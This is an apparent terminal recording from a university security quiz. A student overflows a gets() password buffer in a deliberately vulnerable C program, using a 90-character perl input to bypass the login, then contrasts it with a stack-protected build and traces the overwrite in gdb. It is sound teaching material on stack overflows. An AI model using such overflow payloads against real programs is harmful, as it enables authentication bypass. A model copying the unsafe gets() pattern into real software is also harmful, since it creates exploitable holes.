Script started on Thu 24 Feb 2022 10:08:08 AM CST
[?1034hbash-4.2$ ./vulnerable_bapp `[K

Enter the password now: aaaa

Login failure

suppliedPassword: aaaa
correctPassword: aaaaabbbbbccccc
bash-4.2$ ./vulnerable_bapp 

Enter the password now: aaaaabbbbbccccc

Login successful

suppliedPassword: aaaaabbbbbccccc
correctPassword: aaaaabbbbbccccc
bash-4.2$ perl -e 'print "a"x90' | ./vulnerable_bapp

Enter the password now: 
Login successful

suppliedPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
correctPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
bash-4.2$ perl -e 'print "a"x90' | ./protected_bapp

Enter the password now: 
Login failure

suppliedPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
correctPassword: aaaaabbbbbccccc
*** stack smashing detected ***: ./protected_bapp terminated
Segmentation fault
bash-4.2$ gdb  ./vulnerable_bapp
[?1034hGNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/student/anw0044/CPE455/Quiz-Bravo/vulnerable_bapp...done.
(gdb) 
[K(gdb) 
[K(gdb) break main
Breakpoint 1 at 0x4006a5: file bapp.c, line 17.
(gdb) run
Starting program: /home/student/anw0044/CPE455/Quiz-Bravo/./vulnerable_bapp 

Breakpoint 1, main () at bapp.c:17
17	  printf("\nEnter the password now: ");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-325.el7_9.x86_64
(gdb) info locals
correctPassword = "P\a@\000\000\000\000\000\260\005@\000\000\000\000\000\260\341\377\377"
suppliedPassword = "\001\000\000\000\000\000\000\000\235\a@\000\000\000\000\000\320\340\377\377"
(gdb) step

18	  strncpy(correctPassword, "aaaaabbbbbccccc", BUFFER_SIZE);
(gdb) stepinfo locals
correctPassword = "P\a@\000\000\000\000\000\260\005@\000\000\000\000\000\260\341\377\377"
suppliedPassword = "\001\000\000\000\000\000\000\000\235\a@\000\000\000\000\000\320\340\377\377"
(gdb) info locals
[C[C[C[C[C[C[7Pstep
19	  gets(suppliedPassword);
(gdb) stepinfo locals
correctPassword = "aaaaabbbbbccccc\000\000\000\000"
suppliedPassword = "\001\000\000\000\000\000\000\000\235\a@\000\000\000\000\000\320\340\377\377"
(gdb) info locals
[C[C[C[C[C[C[7Pstepinfo locals
[C[C[C[C[C[C[7Pstepinfo locals
[C[C[C[C[C[Crun[Kbreak main
[C[C[C[C[C[Crun[Kinfo locals
[C[C[C[C[C[C[7Pstepinfo locals
[C[C[C[C[C[C[7Pstepinfo locals
[C[C[C[C[C[C[Kstep
Enter the password now: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
20	  printf("\n");
(gdb) stepinfo locals
correctPassword = 'a' <repeats 20 times>
suppliedPassword = 'a' <repeats 20 times>
(gdb) continue
Continuing.

Login successful

suppliedPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
correctPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400744 in main () at bapp.c:35
35	}
(gdb) quiy[Kt
A debugging session is active.

	Inferior 1 [process 5306] will be killed.

Quit anyway? (y or n) y
bash-4.2$ exit
exit

Script done on Thu 24 Feb 2022 10:16:11 AM CST
